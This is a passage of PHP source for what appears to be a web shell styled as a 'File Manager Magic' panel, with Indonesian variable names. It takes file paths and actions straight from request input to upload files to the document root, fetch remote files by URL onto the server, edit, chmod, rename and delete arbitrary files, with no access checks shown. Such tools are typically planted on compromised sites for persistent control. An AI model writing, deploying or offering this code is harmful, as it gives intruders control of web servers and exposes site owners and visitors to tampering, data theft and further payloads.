yellow('โ ๏ธ Permissions changed for ' . $count . ' items, some failed.');
}
} else {
if (@chmod($chmod_path, $perm_octal)) {
green('โจ Permissions changed to <strong>' . $perm . '</strong>');
} else {
red('โ Failed to change permissions');
}
}
} else {
red('โ Invalid permission format');
}
}
echo chmodInterface($chmod_path, $is_dir);
echo '<br><a href="?path=' . urlencode(dirname($chmod_path)) . '" style="color:#00a0d2;text-decoration:none;">โ Back to Directory</a>';
author();
}
// ============================================
// UPLOAD HANDLING
// ============================================
if (isset($_POST['upwkwk'])) {
$upload_dir = $lokasi;
if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") {
$upload_dir = $_SERVER['DOCUMENT_ROOT'];
}
$max_upload = ini_get('upload_max_filesize');
$max_post = ini_get('post_max_size');
if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) {
$uploaded_file = $_FILES['berkas'];
if ($uploaded_file['error'] !== UPLOAD_ERR_OK) {
$error_messages = [
UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize (' . $max_upload . ')',
UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE',
UPLOAD_ERR_PARTIAL => 'File was only partially uploaded',
UPLOAD_ERR_NO_FILE => 'No file was uploaded',
UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
UPLOAD_ERR_EXTENSION => 'File upload stopped by extension',
];
red('Upload Error: ' . ($error_messages[$uploaded_file['error']] ?? 'Unknown error'));
} else {
if (!is_writable($upload_dir)) {
red('Upload directory is not writable: ' . $upload_dir);
} else {
$filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $uploaded_file['name']);
$destination = $upload_dir . '/' . $filename;
$overwrite_msg = '';
if (file_exists($destination)) {
$old_size = formatSize(filesize($destination));
$new_size = formatSize($uploaded_file['size']);
$overwrite_msg = '<br><span style="color:#ffb900;">โ ๏ธ File exists! Overwriting...</span>
<br>Old: ' . $old_size . ' โ New: ' . $new_size;
}
if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) {
chmod($destination, 0644);
green('โ
File uploaded! ' . $overwrite_msg . '
<br>๐ <a href="?fileloc=' . urlencode($destination) . '&path=' . urlencode($upload_dir) . '" style="color:#7ad03a;">' . htmlspecialchars($filename) . '</a>
<br>๐ ' . formatSize(filesize($destination)));
} else {
red('Failed to move uploaded file.');
}
}
}
} elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) {
if (empty($_POST['namalink'])) {
red('Filename cannot be empty!');
} else {
$remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $_POST['namalink']);
$remote_content = @file_get_contents($_POST['darilink']);
if ($remote_content === false) {
red('Failed to fetch remote file.');
} else {
if (!is_writable($upload_dir)) {
red('Upload directory is not writable.');
} else {
$destination = $upload_dir . '/' . $remote_filename;
$overwrite_msg = '';
if (file_exists($destination)) {
$old_size = formatSize(filesize($destination));
$new_size = formatSize(strlen($remote_content));
$overwrite_msg = '<br><span style="color:#ffb900;">โ ๏ธ File exists! Overwriting...</span>
<br>Old: ' . $old_size . ' โ New: ' . $new_size;
}
if (file_put_contents($destination, $remote_content) !== false) {
chmod($destination, 0644);
green('โ
Remote file uploaded! ' . $overwrite_msg . '
<br>๐ <a href="?fileloc=' . urlencode($destination) . '&path=' . urlencode($upload_dir) . '" style="color:#7ad03a;">' . htmlspecialchars($remote_filename) . '</a>
<br>๐ ' . formatSize(filesize($destination)));
} else {
red('Failed to save remote file.');
}
}
}
}
} else {
red('No file selected.');
}
}
// ============================================
// EDITOR
// ============================================
if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
$file_path = $_POST['path'];
if (isset($_POST['gasedit']) && isset($_POST['src'])) {
$content = $_POST['src'];
$old_content = file_exists($file_path) ? file_get_contents($file_path) : '';
if ($content === $old_content) {
yellow('โน๏ธ No changes detected.');
} else {
if (file_put_contents($file_path, $content) !== false) {
green('โ
File saved! <a href="?fileloc=' . urlencode($file_path) . '&path=' . urlencode(dirname($file_path)) . '" style="color:#7ad03a;">View</a>');
} else {
red('โ Failed to save!');
}
}
}
$file_content = file_exists($file_path) ? file_get_contents($file_path) : '';
$file_ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$is_binary = in_array($file_ext, ['jpg','jpeg','png','gif','pdf','zip','rar','exe','mp3','mp4']);
echo '<div class="magic-form" style="background:rgba(35,40,45,0.9);">';
echo '<h3 style="color:#00a0d2;margin-bottom:15px;">๐ Editing: ' . htmlspecialchars(basename($file_path)) . '</h3>';
echo '<div style="background:rgba(26,26,26,0.6);padding:12px;border-radius:8px;margin-bottom:15px;">';
echo '<div><strong>๐ Path:</strong> ' . htmlspecialchars($file_path) . '</div>';
echo '<div><strong>๐ Size:</strong> ' . formatSize(filesize($file_path)) . '</div>';
echo '<div><strong>๐ Perm:</strong> ' . substr(sprintf('%o', fileperms($file_path)), -4) . '</div>';
echo '</div>';
if ($is_binary) {
echo '<div style="background:rgba(74,45,45,0.6);padding:20px;text-align:center;border-radius:8px;color:#ffb900;">';
echo 'โ ๏ธ Binary file - cannot edit<br>';
echo '<a href="?fileloc=' . urlencode($file_path) . '&path=' . urlencode(dirname($file_path)) . '" style="color:#00a0d2;">View File</a>';
echo '</div>';
} else {
echo '<form method="post">';
echo '<textarea name="src" style="width:100%;min-height:400px;background:rgba(26,26,26,0.8);color:#abb8c3;border:1px solid rgba(255,255,255,0.1);padding:15px;font-family:monospace;font-size:13px;line-height:1.7;border-radius:5px;resize:vertical;" spellcheck="false">' . htmlspecialchars($file_content) . '</textarea>';
echo '<input type="hidden" name="path" value="' . htmlspecialchars($file_path) . '">';
echo '<input type="hidden" name="pilih" value="edit">';
echo '<input type="hidden" name="gasedit" value="1">';
echo '<div style="display:flex;gap:10px;margin-top:10px;flex-wrap:wrap;">';
echo '<button type="submit" style="background:linear-gradient(135deg,#00a0d2,#0088b8);color:#fff;border:none;padding:10px 30px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;font-weight:bold;transition:all 0.3s;">๐พ Save</button>';
echo '<button type="button" onclick="window.location.href=\'?path=' . urlencode(dirname($file_path)) . '\'" style="background:rgba(85,85,85,0.6);color:#fff;border:none;padding:10px 20px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;transition:all 0.3s;">โ Back</button>';
echo '</div>';
echo '</form>';
}
echo '</div>';
author();
}
// ============================================
// FILE VIEWER
// ============================================
if (isset($_GET['fileloc']) && !isset($_GET['serve'])) {
$file_path = $_GET['fileloc'];
echo '<div class="magic-form" style="background:rgba(35,40,45,0.9);">';
echo '<h3 style="color:#00a0d2;margin-bottom:15px;">๐ ' . htmlspecialchars(basename($file_path)) . '</h3>';
echo '<div style="background:rgba(26,26,26,0.6);padding:12px;border-radius:8px;margin-bottom:15px;">';
echo '<div><strong>๐ Path:</strong> ' . htmlspecialchars($file_path) . '</div>';
echo '<div><strong>๐ Size:</strong> ' . formatSize(filesize($file_path)) . '</div>';
echo '<div><strong>๐ Perm:</strong> ' . substr(sprintf('%o', fileperms($file_path)), -4) . '</div>';
echo '<div><strong>๐ MIME:</strong> ' . getMimeType($file_path) . '</div>';
echo '</div>';
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$image_exts = ['jpg','jpeg','png','html','bmp','webp','svg'];
$viewable_exts = ['php','html','htm','css','js','txt','xml','json','sql','log','shtml'];
if (in_array($ext, $image_exts)) {
echo '<div style="background:rgba(26,26,26,0.6);padding:20px;text-align:center;border-radius:8px;">';
echo '<img src="?serve=1&fileloc=' . urlencode($file_path) . '" style="max-width:100%;max-height:500px;border-radius:5px;">';
echo '</div>';
} elseif (in_array($ext, $viewable_exts)) {
echo '<pre style="background:rgba(26,26,26,0.8);padding:15px;border-radius:8px;overflow:auto;max-height:500px;color:#abb8c3;font-size:13px;font-family:monospace;border:1px solid rgba(255,255,255,0.05);">';
echo htmlspecialchars(file_get_contents($file_path));
echo '</pre>';
} else {
echo '<div style="background:rgba(74,61,45,0.6);padding:20px;text-align:center;border-radius:8px;color:#ffb900;">';
echo 'โ ๏ธ Binary file - cannot display inline<br>';
echo '<a href="?serve=1&fileloc=' . urlencode($file_path) . '" target="_blank" style="color:#00a0d2;">๐ฝ View Raw</a>';
echo '</div>';
}
echo '<div style="display:flex;gap:10px;margin-top:15px;flex-wrap:wrap;">';
echo '<a href="?path=' . urlencode(dirname($file_path)) . '" style="color:#00a0d2;text-decoration:none;padding:8px 20px;background:rgba(50,55,60,0.6);border-radius:5px;">โ Back</a>';
echo '<a href="?serve=1&fileloc=' . urlencode($file_path) . '" target="_blank" style="color:#7ad03a;text-decoration:none;padding:8px 20px;background:rgba(50,55,60,0.6);border-radius:5px;">๐ฅ Raw</a>';
echo '<a href="?pilihan&path=' . urlencode(dirname($file_path)) . '&edit=1" style="color:#ffb900;text-decoration:none;padding:8px 20px;background:rgba(50,55,60,0.6);border-radius:5px;">โ๏ธ Edit</a>';
echo '<a href="?pilihan&path=' . urlencode(dirname($file_path)) . '&chmod=1" style="color:#ffb900;text-decoration:none;padding:8px 20px;background:rgba(50,55,60,0.6);border-radius:5px;">๐ Chmod</a>';
echo '</div>';
echo '</div>';
author();
}
// ============================================
// DELETE & RENAME
// ============================================
if (isset($_GET['delete'])) {
$delete_file = $_GET['delete'];
if (file_exists($delete_file) && unlink($delete_file)) {
green('๐๏ธ File deleted!');
}
echo '<script>setTimeout(function(){window.location.href="?path=' . urlencode(dirname($delete_file)) . '";},1000);</script>';
author();
}
if (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
if (is_dir($_POST['path'])) {
xrmdir($_POST['path']);
file_exists($_POST['path']) ? red('Failed to delete directory!') : green('โ
Directory deleted!');
} elseif (is_file($_POST['path'])) {
@unlink($_POST['path']);
file_exists($_POST['path']) ? red('Failed to delete file!') : green('โ
File deleted!');
}
}
if (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
if (isset($_POST['gantin'])) {
$ren = @rename($_POST['path'], $_POST['newname']);
$ren ? green('โ
Renamed successfully!') : red('โ Failed to rename!');
}
$namaawal = isset($_POST['newname']) ? $_POST['newname'] : (isset($_POST['name']) ? $_POST['name'] : '');
echo '<div class="magic-form" style="background:rgba(35,40,45,0.9);max-width:500px;margin:0 auto;">';
echo '<h3 style="color:#ffb900;margin-bottom:15px;">โ๏ธ Rename</h3>';
echo '<form method="post">';
echo '<div style="background:rgba(26,26,26,0.6);padding:12px;border-radius:8px;margin-bottom:15px;">';
echo '<div><strong>Current:</strong> ' . htmlspecialchars($_POST['path']) . '</div>';
echo '</div>';
echo 'New Name: <input type="text" name="newname" value="' . htmlspecialchars($namaawal) . '" style="background:rgba(26,26,26,0.8);color:#fff;border:1px solid rgba(255,255,255,0.1);padding:8px 12px;border-radius:5px;width:100%;margin:10px 0;">';
echo '<input type="hidden" name="path" value="' . htmlspecialchars($_POST['path']) . '">';
echo '<input type="hidden" name="pilih" value="gantinama">';
echo '<button type="submit" name="gantin" style="background:linear-gradient(135deg,#ffb900,#e5a800);color:#000;border:none;padding:10px 30px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;font-weight:bold;">โจ Rename</button>';
echo ' <button type="button" onclick="window.location.href=\'?path=' . urlencode(dirname($_POST['path'])) . '\'" style="background:rgba(85,85,85,0.6);color:#fff;border:none;padding:10px 20px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;">Cancel</button>';
echo '</form>';
echo '</div>';
author();
}
// ============================================
// CREATE & UPLOAD FORMS
// ============================================
echo '<div class="forms-grid">';
// Create Form
echo '<div class="magic-form">';
echo '<h4 style="color:#7ad03a;">๐ Create New</h4>';
echo '<form method="post" style="display:flex;flex-direction:column;gap:8px;">';
echo '<input type="text" name="new_filename" placeholder="filename.php">';
echo '<input type="text" name="file_content" placeholder="Content (optional)">';
echo '<input type="hidden" name="create_action" value="file">';
echo '<button type="submit" style="background:linear-gradient(135deg,#4CAF50,#388E3C);color:#fff;">๐ Create File</button>';
echo '</form>';
echo '<form method="post" style="display:flex;flex-direction:column;gap:8px;margin-top:8px;">';
echo '<input type="text" name="new_foldername" placeholder="folder_name">';
echo '<input type="hidden" name="create_action" value="folder">';
echo '<button type="submit" style="background:linear-gradient(135deg,#FF9800,#E68900);color:#fff;">๐ Create Folder</button>';
echo '</form>';
echo '</div>';
// Upload Form
echo '<div class="magic-form">';
echo '<h4 style="color:#00a0d2;">โฌ๏ธ Upload File</h4>';
echo '<div style="background:rgba(0,0,0,0.2);padding:6px 12px;border-radius:8px;margin-bottom:12px;font-size:12px;color:#6a7a8a;">';
echo '๐ Max upload: <span style="color:#ffb900;">' . ini_get('upload_max_filesize') . '</span>';
echo ' | ๐ฆ Max POST: <span style="color:#ffb900;">' . ini_get('post_max_size') . '</span>';
echo '</div>';
echo '<form enctype="multipart/form-data" method="post" style="display:flex;flex-direction:column;gap:8px;">';
echo '<div class="radio-group">';
echo '<label><input type="radio" value="1" name="dirnya" checked> Current</label>';
echo '<label><input type="radio" value="2" name="dirnya"> Root</label>';
echo '</div>';
echo '<input type="hidden" name="upwkwk" value="aplod">';
echo '<input type="file" name="berkas">';
echo '<button type="submit" name="berkasnya" style="background:linear-gradient(135deg,#00a0d2,#0088b8);color:#fff;">๐ค Upload</button>';
echo '</form>';
echo '<hr>';
echo '<form method="post" style="display:flex;flex-direction:column;gap:8px;">';
echo '<input type="text" name="darilink" placeholder="http://example.com/file.zip">';
echo '<input type="text" name="namalink" placeholder="filename.ext">';
echo '<button type="submit" name="linknya" style="background:linear-gradient(135deg,#9C27B0,#7B1FA2);color:#fff;">๐ Upload URL</button>';
echo '</form>';
echo '</div>';
echo '</div>';
// ============================================
// FILE LISTING
// ============================================
echo '<table class="magic-table">';
echo '<tr>';
echo '<th style="text-align:left;">๐ Name</th>';
echo '<th style="text-align:center;">๐ Size</th>';
echo '<th style="text-align:center;">๐ Perm</th>';
echo '<th style="text-align:center;">โก Actions</th>';
echo '</tr>';
// Directories
foreach($lokasinya as $dir){
if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
echo '<tr>';
echo '<td><a href="?path=' . urlencode($lokasi."/".$dir) . '" class="file-link">๐ ' . $dir . '</a></td>';
echo '<td style="text-align:center;color:#6a7a8a;">--</td>';
echo '<td style="text-align:center;font-family:monospace;font-size:12px;">' . statusnya($lokasi."/".$dir) . '</td>';
echo '<td style="text-align:center;">';
echo '<form method="POST" action="?pilihan&path=' . urlencode($lokasi) . '" style="display:inline-flex;gap:4px;align-items:center;">';
echo '<select name="pilih">';
echo '<option value="">โก</option>';
echo '<option value="hapus">Delete</option>';
echo '<option value="ubahmod">Chmod</option>';
echo '<option value="gantinama">Rename</option>';
echo '</select>';
echo '<input type="hidden" name="path" value="' . $lokasi . "/" . $dir . '">';
echo '<button type="submit" class="action-btn">โ</button>';
echo '</form>';
echo '</td>';
echo '</tr>';
}
// Files
foreach($lokasinya as $file) {
if(!is_file("$lokasi/$file")) continue;
$size = filesize("$lokasi/$file")/1024;
$size = $size >= 1024 ? round($size/1024,2).' MB' : round($size,3).' KB';
echo '<tr>';
echo '<td><a href="?fileloc=' . urlencode($lokasi."/".$file) . '&path=' . urlencode($lokasi) . '" class="file-link"><span class="file-icon">' . getFileIcon($file) . '</span> ' . $file . '</a></td>';
echo '<td style="text-align:center;color:#6a7a8a;">' . $size . '</td>';
echo '<td style="text-align:center;font-family:monospace;font-size:12px;">' . statusnya("$lokasi/$file") . '</td>';
echo '<td style="text-align:center;">';
echo '<form method="POST" action="?pilihan&path=' . urlencode($lokasi) . '" style="display:inline-flex;gap:4px;align-items:center;">';
echo '<select name="pilih">';
echo '<option value="">โก</option>';
echo '<option value="hapus">Delete</option>';
echo '<option value="ubahmod">Chmod</option>';
echo '<option value="gantinama">Rename</option>';
echo '<option value="edit">Edit</option>';
echo '</select>';
echo '<input type="hidden" name="path" value="' . $lokasi . "/" . $file . '">';
echo '<button type="submit" class="action-btn">โ</button>';
echo '</form>';
echo '</td>';
echo '</tr>';
}
echo '</table>';
// ============================================
// STATUS FUNCTION
// ============================================
function statusnya($file){
$statusnya = fileperms($file);
if (($statusnya & 0xC000) == 0xC000) $ingfo = 's';
elseif (($statusnya & 0xA000) == 0xA000) $ingfo = 'l';
elseif (($statusnya & 0x8000) == 0x8000) $ingfo = '-';
elseif (($statusnya & 0x6000) == 0x6000) $ingfo = 'b';
elseif (($statusnya & 0x4000) == 0x4000) $ingfo = 'd';
elseif (($statusnya & 0x2000) == 0x2000) $ingfo = 'c';
elseif (($statusnya & 0x1000) == 0x1000) $ingfo = 'p';
else $ingfo = 'u';
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-'));
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-'));
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-'));
$color = is_writable($file) ? '#7ad03a' : '#dc3232';
return '<span style="color:' . $color . ';">' . $ingfo . '</span>';
}
// ============================================
// FOOTER
// ============================================
echo '<div class="magic-footer">โจ File Manager Magic ยท <span>Hostinger Optimized</span> โจ</div>';
?>
</div>
<!-- /.magic-container -->
</body>
</html>